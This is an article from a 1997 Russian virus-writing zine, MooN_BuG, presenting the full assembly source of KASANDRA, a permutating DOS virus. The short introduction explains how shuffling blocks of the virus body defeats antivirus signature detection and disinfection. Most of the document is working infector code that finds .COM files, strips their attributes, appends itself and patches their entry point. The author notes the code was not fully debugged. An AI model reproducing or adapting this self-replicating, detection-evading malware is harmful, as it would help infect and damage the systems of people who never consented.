[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 4, Dec 1997 file 006
Вирус KASANDRA
by RedArc
К этому выпуску журнала мне хотелось показать читателям один из самых
простых способов написания пермутирующего вируса, так как слово
"пермутирующий" в последнее время вирмейкерами было заменено на "fullmorph" и
не сходит с их уст по сей день. Идея вирусов этого класса состоит в том, что
вместо криптования своего тела по обычному линейному или полиморфному
алгоритму, вирус переставляет блоки некоторого размера внутри своего тела, за
счет чего и достигается полиморфность.
Выгода от этого очень даже понятная - вирус не имеет расшифровщика
вообще, хотя может достигать очень высоких уровней полиморфности за счет
уменьшения переставляемых блоков. При этом, с уменьшением размера блока
вероятность выделения сигнатуры стремится к нулю. При комбинировании
полиморфных алгоритмов с пермутирующими алгоритмами можно достичь полного
исчезновения сигнатуры.
Зачем это нужно? Очень просто, любой полиморфный вирус имеет статическое
тело, зашифрованное некоторым полиморфным алгоритмом. Антивирус эмулирует
команды декриптора и в итоге получает в памяти расшифрованное статическое тело
вируса, которое содержит в обычном порядке всю необходимую информацию для
лечения данного инфицированного файла.
Изюминка пермутантов состоит как раз в том, что при минимизации размера
переставляемых блоков вероятность выделения статической сигнатуры сводится к
минимуму, что не позволяет антивирусу получить полную уверенность, что перед
ним действительно известный ему вирус. По принципу: не нашел - не вылечил,
вирус получает иммунитет к антивирусам. Если же в алгоритм вируса вложен
полиморфный код модификации переставляемого блока (заметьте, не модификации
расшифровщика, а модификация непосредственно блока тела вируса), то в итоге
получается 100% гарантия того, что ваш вирус не смогут найти современные
антивирусы, соответственно и не смогут полечить инфицированные файлы.
Перед вами исходный код пермутирующего вируса KASANDRA, не имеющего
полиморфного кода модификаций и размер переставляемых блоков его так же не
лимитирован. К сожалению, мне не хватило времени до выпуска журнала на его
отладку, но, надеюсь, основные приемы пермутизма в нем показаны очень даже
наглядно и вам не составит труда разобраться в коде этого вируса.
Model Tiny
.Code
.286
KeyCryMsg equ 0ffh
PAGEMEM equ MY_LENGTH / 16 + 1
ORG 100h
START:
push offset EntryPoint
ret
db 200h dup (90h)
;----------------------------
EntryPoint:
pusha
push ds
push es
inc si
mov bp, word ptr cs:[si]
mov di, word ptr cs:[si]
add di,ADDR_TABLE
mov byte ptr [bp+CONTROL],0
mov word ptr [bp+A_TABLE],di
mov ax, word ptr [di+RB1_OFFS]
add ax, word ptr cs:[si]
push ax
ret
;------------------------------
A_TABLE equ $-EntryPoint
dw ?
SAVE_AX equ $-EntryPoint
dw ?
CONTROL equ $-EntryPoint
db ?
FSEG equ $-EntryPoint
dw ?
;------------------------------
ADDR_TABLE equ $-EntryPoint
ADDR_POINT:
SB1_OFFS equ $-ADDR_POINT
dw ST_BYTE
SL1_OFFS equ $-ADDR_POINT
dw ST_LEN
RB1_OFFS equ $-ADDR_POINT
dw RESTORE_BYTE
RL1_OFFS equ $-ADDR_POINT
dw LENGTH_RESTORE
FM1_OFFS equ $-ADDR_POINT
dw FMASK
FL1_OFFS equ $-ADDR_POINT
dw FMASK_LENGTH
DT1_OFFS equ $-ADDR_POINT
dw DATE_TABLE
DL1_OFFS equ $-ADDR_POINT
dw DATE_LENGTH
IN1_OFFS equ $-ADDR_POINT
dw INTERRUPT
IL1_OFFS equ $-ADDR_POINT
dw INTR_LENGTH
MS1_OFFS equ $-ADDR_POINT
dw MSG
ML1_OFFS equ $-ADDR_POINT
dw MSG_LENGTH
PM1_OFFS equ $-ADDR_POINT
dw PRINT
PL1_OFFS equ $-ADDR_POINT
dw PRINT_LENGTH
RP2_OFFS equ $-ADDR_POINT
dw RETURN_TO_PROGRAM
RL2_OFFS equ $-ADDR_POINT
dw RETURN_LENGTH
CM1_OFFS equ $-ADDR_POINT
dw CRYPT_MSG
CL1_OFFS equ $-ADDR_POINT
dw CrM_LENGTH
CM2_OFFS equ $-ADDR_POINT
dw CALCULATE_MSG_KEY
CL2_OFFS equ $-ADDR_POINT
dw CMK_LENGTH
SD2_OFFS equ $-ADDR_POINT
dw SETDTA
SL2_OFFS equ $-ADDR_POINT
dw SETDTA_LENGTH
FF2_OFFS equ $-ADDR_POINT
dw FIND_FIRST
FL2_OFFS equ $-ADDR_POINT
dw FFIRST_LENGTH
MA2_OFFS equ $-ADDR_POINT
dw CRYPT_MASK
ML2_OFFS equ $-ADDR_POINT
dw CrMa_LENGTH
PA2_OFFS equ $-ADDR_POINT
dw PLAGUE
PL2_OFFS equ $-ADDR_POINT
dw PLAGUE_LENGTH
SD3_OFFS equ $-ADDR_POINT
dw SETOLDDTA
SL3_OFFS equ $-ADDR_POINT
dw SETOLDDTA_LENGTH
TO1_OFFS equ $-ADDR_POINT
dw TOSSER
TL1_OFFS equ $-ADDR_POINT
dw TOSSER_LENGTH
GM1_OFFS equ $-ADDR_POINT
dw GETMEM
GL1_OFFS equ $-ADDR_POINT
dw GETMEM_LENGTH
RND_OFFS equ $-ADDR_POINT
dw RND_ST
RND_LENG equ $-ADDR_POINT
dw RND_LENGTH
DIA_OFFS equ $-ADDR_POINT
dw DIAPAZON
DIA_LENG equ $-ADDR_POINT
dw DIAPAZON_LENGTH
AddrLen equ $-ADDR_POINT
END_STATIC_BLOCK equ $-EntryPoint
;------------------------------
FMASK equ $-EntryPoint
FMASK_POINT:
db '*' xor KeyCryMsg, '.' xor KeyCryMsg, 'c' xor KeyCryMsg
db 'o' xor KeyCryMsg, 'm' xor KeyCryMsg, 0h xor KeyCryMsg
FMASK_LENGTH equ $-FMASK_POINT
;------------------------------
MSG equ $-EntryPoint
MSG_POINT:
db 'K' xor KeyCryMsg, 'A' xor KeyCryMsg, 'S' xor KeyCryMsg, 'A' xor KeyCryMsg
db 'N' xor KeyCryMsg, 'D' xor KeyCryMsg, 'R' xor KeyCryMsg, 'A' xor KeyCryMsg
db ' ' xor KeyCryMsg, 'i' xor KeyCryMsg, 's' xor KeyCryMsg, ' ' xor KeyCryMsg
db 'h' xor KeyCryMsg, 'e' xor KeyCryMsg, 'r' xor KeyCryMsg, 'e' xor KeyCryMsg
db '!' xor KeyCryMsg, 0ah xor KeyCryMsg, 0dh xor KeyCryMsg, '$' xor KeyCryMsg
MSG_LENGTH equ $-MSG_POINT
;------------------------------
DATE_TABLE equ $-EntryPoint
DATE_POINT:
PRINT_FUNC equ $-DATE_POINT
dw 0900h
IP_100 equ $-DATE_POINT
dw 0100h
TIME_GET equ $-DATE_POINT
dw 2c00h
KeyMSG equ $-DATE_POINT
db KeyCryMsg
SET_DTA equ $-DATE_POINT
dw 1a00h
FFIRST equ $-DATE_POINT
dw 4e00h
FULLMEM equ $-DATE_POINT
dw 0FFFFh
FNEXT equ $-DATE_POINT
dw 4f00h
AttrMask equ $-DATE_POINT
db 0ffh
OLD_D equ $-DATE_POINT
db 80h
PAGECOUNT equ $-DATE_POINT
dw PAGEMEM
SETATTR equ $-DATE_POINT
dw 4301h
OPEN equ $-DATE_POINT
dw 3d02h
ReadFile equ $-DATE_POINT
dw 3f00h
CloseFile equ $-DATE_POINT
dw 3e00h
MoveEnd equ $-DATE_POINT
dw 4202h
MoveStart equ $-DATE_POINT
dw 4200h
WriteFile equ $-DATE_POINT
dw 4000h
DATE_LENGTH equ $-DATE_POINT
;------------------------------
INTERRUPT equ $-EntryPoint
INTR_POINT:
mov word ptr cs:[bp+SAVE_AX],ax
pushf
push cs
push si
mov si,word ptr cs:[bp+A_TABLE]
mov ax,word ptr cs:[si+IN1_OFFS]
pop si
add ax,INTR_LENGTH-1
add ax,bp
push ax
xor ax,ax
mov es,ax
push si
push di
mov si,word ptr cs:[bp+A_TABLE]
mov di,word ptr cs:[si+DT1_OFFS]
add di,word ptr cs:[bp+SAVE_AX]
mov ax,word ptr cs:[bp+di]
pop di
pop si
jmp dword ptr es:[21H*4]
RET
INTR_LENGTH equ $-INTR_POINT
;------------------------------
GETMEM equ $-EntryPoint
GETMEM_POINT:
mov ax,ds
mov es,ax
mov di, word ptr [si+DT1_OFFS]
add di,bp
mov bx, word ptr [di+PAGECOUNT]
mov ah,4ah
int 21h
GETMEM_RETURN equ $-GETMEM_POINT
jnc ALLOCATED
mov di, word ptr [si+DT1_OFFS]
add di,bp
mov ax, word ptr [di+FULLMEM]
mov word ptr [bp+FSEG],ax
ret
ALLOCATED:
mov ax,MY_LENGTH
mov cl,4
shr ax,cl
inc ax
mov bx,ds
add ax,bx
mov word ptr [bp+FSEG],ax
ret
GETMEM_LENGTH equ $-GETMEM_POINT
;------------------------------
RESTORE_BYTE equ $-EntryPoint
RESTORE_POINT:
mov si,word ptr [bp+A_TABLE]
mov cx, word ptr [si+SL1_OFFS]
mov di,word ptr [si+DT1_OFFS]
add di,bp
mov ax, word ptr [di+IP_100]
mov di,bp
add di, word ptr [si+SB1_OFFS]
push si
xchg si,di
xchg ax,di
rep movsb
pop si
mov di, word ptr [si+RB1_OFFS]
add di, RESTORE_RETURN
add di,bp
push di
mov di, word ptr [si+GM1_OFFS]
add di,bp
push di
ret
RESTORE_RETURN equ $-RESTORE_POINT
mov di, word ptr [si+DT1_OFFS]
add di,bp
mov ax, word ptr [di+FULLMEM]
cmp word ptr [bp+FSEG],ax
jne RB1
mov di, word ptr [si+RP2_OFFS]
add di,bp
jmp di
RB1:
mov di, word ptr [si+PM1_OFFS]
add di,bp
jmp di
LENGTH_RESTORE equ $-RESTORE_POINT
;-------------------------------
PRINT equ $-EntryPoint
PRINT_POINT:
mov ax,TIME_GET
mov di, word ptr [si+PM1_OFFS]
add di, PRIN_RETURN
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PRIN_RETURN equ $-PRINT_POINT
cmp ch,cl
jnz PRINT_EXIT
mov di, word ptr [si+PM1_OFFS]
add di, PRINT_2_RETURN
add di,bp
push di
mov di, word ptr [si+CM1_OFFS]
add di,bp
push di
ret
PRINT_2_RETURN equ $-PRINT_POINT
mov dx, word ptr [si+MS1_OFFS]
add dx,bp
mov ax,PRINT_FUNC
mov di, word ptr [si+PM1_OFFS]
add di,PRINT_EXIT_LENGTH
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PRINT_EXIT_LENGTH equ $-PRINT_POINT
mov di, word ptr [si+PM1_OFFS]
add di, PRINT_3_RETURN
add di,bp
push di
mov di, word ptr [si+CM2_OFFS]
add di,bp
push di
ret
PRINT_3_RETURN equ $-PRINT_POINT
mov di, word ptr [si+PM1_OFFS]
add di, PRINT_4_RETURN
add di,bp
push di
mov di, word ptr [si+CM1_OFFS]
add di,bp
push di
ret
PRINT_4_RETURN equ $-PRINT_POINT
PRINT_EXIT:
mov di, word ptr [si+SD2_OFFS]
add di,bp
jmp di
PRINT_LENGTH equ $-PRINT_POINT
;-----------------------------------
SETDTA equ $-EntryPoint
SETDTA_POINT:
mov ax,SET_DTA
mov di, word ptr [si+SD2_OFFS]
add di, SDTA_RETURN
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
mov dx,bp
add dx,MY_LENGTH
ret
SDTA_RETURN equ $-SETDTA_POINT
mov di, word ptr [si+FF2_OFFS]
add di,bp
jmp di
SETDTA_LENGTH equ $-SETDTA_POINT
;-----------------------------------
FIND_FIRST equ $-EntryPoint
FFIRST_POINT:
mov di, word ptr [si+FF2_OFFS]
add di, FFIRST_1_RETURN
add di,bp
push di
mov di, word ptr [si+MA2_OFFS]
add di,bp
push di
ret
FFIRST_1_RETURN equ $-FFIRST_POINT
mov ax,FFIRST
mov di, word ptr [si+DT1_OFFS]
xor cx,cx
add di,bp
mov cl,byte ptr [di+AttrMask]
mov dx, word ptr [si+FM1_OFFS]
add dx,bp
FF_LOCK:
mov di,bp
add di, word ptr [si+FF2_OFFS]
add di, FFIRST_RETURN
push di
mov di,bp
add di, word ptr [si+IN1_OFFS]
push di
ret
FFIRST_RETURN equ $-FFIRST_POINT
jb NOT_FILE
cmp byte ptr [bp+CONTROL], 1
jz FF3
mov byte ptr [bp+CONTROL],1
mov di, word ptr [si+FF2_OFFS]
add di, FFIRST_2_RETURN
add di,bp
push di
mov di, word ptr [si+MA2_OFFS]
add di,bp
push di
ret
FFIRST_2_RETURN equ $-FFIRST_POINT
FF3:
mov di, word ptr [si+FF2_OFFS]
add di, FFIRST_3_RETURN
add di,bp
push di
mov di, word ptr [si+PA2_OFFS]
add di,bp
push di
ret
FFIRST_3_RETURN equ $-FFIRST_POINT
mov ax, FNEXT
jmp FF_LOCK
NOT_FILE:
mov di, word ptr [si+RP2_OFFS]
add di,bp
jmp di
FFIRST_LENGTH equ $-FFIRST_POINT
;-----------------------------------
SETOLDDTA equ $-EntryPoint
SETOLDDTA_POINT:
mov ax,SET_DTA
mov di, word ptr [si+SD3_OFFS]
add di, SODTA_RETURN
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
mov di, word ptr [si+DT1_OFFS]
add di,bp
xor dx,dx
mov dl, byte ptr [di+OLD_D]
SODTA_RETURN equ $-SETOLDDTA_POINT
ret
SETOLDDTA_LENGTH equ $-SETDTA_POINT
;-----------------------------------
PLAGUE equ $-EntryPoint
PLAGUE_POINT:
mov di,word ptr [si+PA2_OFFS]
add di,bp
add di,PL_RET_1
push di
mov di,word ptr [si+TO1_OFFS]
add di,bp
push di
ret
PL_RET_1 equ $-PLAGUE_POINT
mov dx,bp
add dx,MY_LENGTH+1eh
mov ax,SETATTR
xor cx,cx
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_2
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PL_RET_2 equ $-PLAGUE_POINT
mov dx,bp
add dx,MY_LENGTH+1eh
mov ax,OPEN
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_3
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PL_RET_3 equ $-PLAGUE_POINT
xchg ax,bx
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_4
add di,bp
push di
mov ax,ReadFile
mov dx,word ptr [si+SB1_OFFS]
add dx,bp
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PL_RET_4 equ $-PLAGUE_POINT
mov di,word ptr [si+SB1_OFFS]
add di,bp
mov al,byte ptr [di]
cmp al,68h
jz ALREADY_INFECTED
jmp short INFECTED
ALREADY_INFECTED:
mov ax,CloseFile
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_5
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
PL_RET_5 equ $-PLAGUE_POINT
ret
INFECTED:
mov ax,MoveEnd
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_6
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PL_RET_6 equ $-PLAGUE_POINT
push ax
xor dx,dx
mov cx,MY_LENGTH
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_7
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
mov ax, word ptr [bp+FSEG]
mov ds, ax
mov ax,WriteFile
ret
PL_RET_7 equ $-PLAGUE_POINT
push cs
pop ds
mov ax,MoveStart
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_8
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PL_RET_8 equ $-PLAGUE_POINT
pop ax
mov di,word ptr [si+SB1_OFFS]
add di,bp
mov byte ptr [di],68h
mov word ptr [di+1],ax
mov byte ptr [di+3],0c3h
mov cx,4
xchg dx,di
mov ax,WriteFile
mov di, word ptr [si+PA2_OFFS]
add di, PL_RET_9
add di,bp
push di
mov di, word ptr [si+IN1_OFFS]
add di,bp
push di
ret
PL_RET_9 equ $-PLAGUE_POINT
jmp ALREADY_INFECTED
PLAGUE_LENGTH equ $-PLAGUE_POINT
;-----------------------------------
TOSSER equ $-EntryPoint
TOSSER_POINT:
pusha
cld
push si
mov ax, word ptr [bp+FSEG]
mov es, ax
mov cx, END_STATIC_BLOCK
mov si,bp
xor bx,bx
mov di,bx
rep movsb
pop si
push di
mov di,word ptr [si+TO1_OFFS]
add di,T_RET_1
add di,bp
push di
mov di,word ptr [si+RND_OFFS]
add di,bp
push bp
ret
T_RET_1 equ $-TOSSER_POINT
pop di
xor cx,cx
LOOP_COPY:
cmp cx,ax
jz SKIP
push si
push cx
push di
add si,cx
mov di,word ptr [si]
mov cx,word ptr [si+2]
add di,bp
xchg si,di
pop di
rep movsb
pop cx
pop si
SKIP:
add cx,4
cmp cx,AddrLen
jge ALLES
jmp LOOP_COPY
ALLES:
push si
push di
add si,ax
mov di,word ptr[si]
mov cx,word ptr[si+2]
add di,bp
xchg si,di
pop di
rep movsb
pop si
push si
push di
add si,ax
mov di,word ptr [si]
mov cx,word ptr [si+2]
mov si,di
add si,cx
pop cx
sub cx,si
push es
pop ds
rep movsb
pop si
push si
add si,ax
mov di,word ptr [si]
xchg dx,di
mov di,word ptr [si+2]
pop si
push si
mov cx,2
PRED_ADDR:
add si,cx
mov bx,word ptr [si]
cmp dx,bx
jge NEXT_ADDR
sub bx,di
mov word ptr [si],bx
NEXT_ADDR:
add cx,2
cmp cx,AddrLen
jge PREP_MOVE
jmp short PRED_ADDR
PREP_MOVE:
pop si
add si,ax
mov cx,word ptr [si+2]
mov dx,MY_LENGTH
sub dx,cx
mov word ptr [si],dx
push cs
pop ds
popa
ret
TOSSER_LENGTH equ $-TOSSER_POINT
;-----------------------------------
CRYPT_MSG equ $-EntryPoint
CrM_POINT:
pusha
mov di, word ptr [si+DT1_OFFS]
add di,bp
mov bl, byte ptr [di+KeyMSG]
mov di, word ptr [si+MS1_OFFS]
add di,bp
mov cx, word ptr [si+ML1_OFFS]
CrM_LOOP:
mov al, byte ptr [di]
xor al, bl
mov byte ptr [di],al
inc di
loop CrM_LOOP
popa
ret
CrM_LENGTH equ $-CrM_POINT
;-----------------------------------
RND_ST equ $-EntryPoint
RND_POINT:
push di dx
xor dx,dx
mov di,word ptr [si + RND_OFFS]
add di, bp
add di, REGS_OFFS
mov ax, word ptr [di+1]
mov dl, byte ptr [di+2]
xor ax,dx
mov byte ptr [di+2],al
add ah,al
mov al,byte ptr [di]
mov byte ptr [di+1],al
add al,ah
rol al,1
mov byte ptr [di],al
pop dx di
ret
REGS_OFFS equ $-RND_POINT
r3: db 21
r2: db 12
r1: db 98
RND_LENGTH equ $-RND_POINT
;----------------------------------------
DIAPAZON equ $-EntryPoint
DIAPAZON_POINT:
push dx di
mov di,word ptr [si+DIA_OFFS]
add di, D_RET_1
add di,bp
push di
mov di,word ptr [si+RND_OFFS]
add di,bp
push di
ret
D_RET_1 equ $-DIAPAZON_POINT
mov dh,al
mov di,word ptr [si+DIA_OFFS]
add di, D_RET_2
add di,bp
push di
mov di,word ptr [si+RND_OFFS]
add di,bp
push di
ret
D_RET_2 equ $-DIAPAZON_POINT
mov dl,al
cmp dx,0
jc DIAPAZON_POINT
cmp dx,(AddrLen / 4)
jnc DIAPAZON_POINT
mov ax,dx
pop di dx
ret
DIAPAZON_LENGTH equ $-DIAPAZON_POINT
;-----------------------------------
mov di, word ptr [si+RP2_OFFS]
add di,bp
jmp di
RETURN_TO_PROGRAM equ $-EntryPoint
RTP_POINT:
mov di, word ptr [si+RP2_OFFS]
add di, RTP_1_RETURN
add di,bp
push di
mov di, word ptr [si+SD3_OFFS]
add di,bp
push di
ret
RTP_1_RETURN equ $-RTP_POINT
pop es
pop ds
popa
push si
ret
RETURN_LENGTH equ $-RTP_POINT
;-----------------------------------
CRYPT_MASK equ $-EntryPoint
CrMa_POINT:
pusha
pushf
mov di, word ptr [si+DT1_OFFS]
add di, bp
mov bl, byte ptr [di+KeyMSG]
mov di, word ptr [si+FM1_OFFS]
add di, bp
mov cx, word ptr [si+FL1_OFFS]
CrMa_LOOP:
mov al, byte ptr [di]
xor al, bl
mov byte ptr [di],al
inc di
loop CrMa_LOOP
popf
popa
ret
CrMa_LENGTH equ $-CrMa_POINT
;-----------------------------------
ST_BYTE equ $-EntryPoint
ST_POINT:
db 0cdh,020h,090h,090h
ST_LEN equ $-ST_POINT
;-----------------------------------
CALCULATE_MSG_KEY equ $-EntryPoint
CMK_POINT:
pusha
mov di, word ptr [si+CM2_OFFS]
add di, CMK_1_RETURN
add di,bp
push di
mov di, word ptr [si+MA2_OFFS]
add di,bp
push di
ret
CMK_1_RETURN equ $-CMK_POINT
mov ax,word ptr [bp+A_TABLE]
mov si,ax
xor al,ah
mov di,word ptr [si+DT1_OFFS]
add di,bp
mov byte ptr [di+KeyMSG],al
mov di, word ptr [si+CM2_OFFS]
add di, CMK_2_RETURN
add di,bp
push di
mov di, word ptr [si+MA2_OFFS]
add di,bp
push di
ret
CMK_2_RETURN equ $-CMK_POINT
popa
ret
CMK_LENGTH equ $-CMK_POINT
;-----------------------------------
MY_LENGTH equ $-EntryPoint
END START